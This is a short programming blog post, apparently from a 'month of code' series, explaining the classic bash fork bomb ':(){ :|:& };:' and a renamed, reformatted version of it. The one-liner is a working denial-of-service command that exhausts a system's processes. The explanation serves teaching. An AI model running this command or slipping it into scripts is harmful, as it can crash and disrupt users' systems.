Mar 26 2014

#MonthOfCode - Day 26: malicious

My entry for the 26th day of the month of code. The theme for today is: malicious.

I’ve not written today’s code but let’s look at it anyway: :(){ :|:& };:. It’s a fork bomb for a UNIX shell (bash for instance).

With some formatting:

:() {
  : | : &
};
:

It’s a function called :! Let’s rename it:

fork_bomb() {
  fork_bomb | fork_bomb &
};
fork_bomb

A function is defined then called. Inside the function, it calls itself twice, in parallel (that’s what the | does) and it’s non-blocking (that’s what the & does). This means that you can’t kill it with Ctrl-C.

month of code, programming